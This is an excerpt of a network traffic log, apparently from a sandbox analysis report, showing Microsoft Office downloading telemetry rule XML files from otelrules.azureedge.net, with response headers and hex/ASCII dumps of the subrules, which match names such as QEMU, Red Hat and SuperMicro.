2024-11-20 02:21:47 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:47 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022147Z-185f5d8b95cp7lkfhC1NYC7rpw00000009s000000000aw8d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:47 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:47 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 3369a0ea-601e-0002-63f2-3aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022147Z-r1d97b99577kk29chC1TEBemmg000000087000000000ey7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 02:21:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:47 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:47 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:47 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022147Z-1777c6cb754xrr98hC1TEB3kag00000008q000000000pqxq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:47 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022147Z-185f5d8b95cx9g8lhC1NYCtgvc000000020g00000000555v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:47 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022147Z-185f5d8b95cx9g8lhC1NYCtgvc000000020g00000000555x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:47 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-r1d97b99577656nchC1TEBk98c000000086g00000000k24a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-1777c6cb7549x5qchC1TEBggbg0000000940000000000u7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-1777c6cb754b7tdghC1TEBwwa4000000090g00000000hapx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-185f5d8b95ckwnflhC1NYCx9qs00000009q000000000baqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-185f5d8b95cjbkr4hC1NYCeu2400000009dg00000000gd97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-1777c6cb754rz2pghC1TEBghen00000008t000000000m7y2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:48 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022148Z-185f5d8b95c4vwv8hC1NYCy4v400000009m000000000w99w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.8	49902	13.107.246.45	443

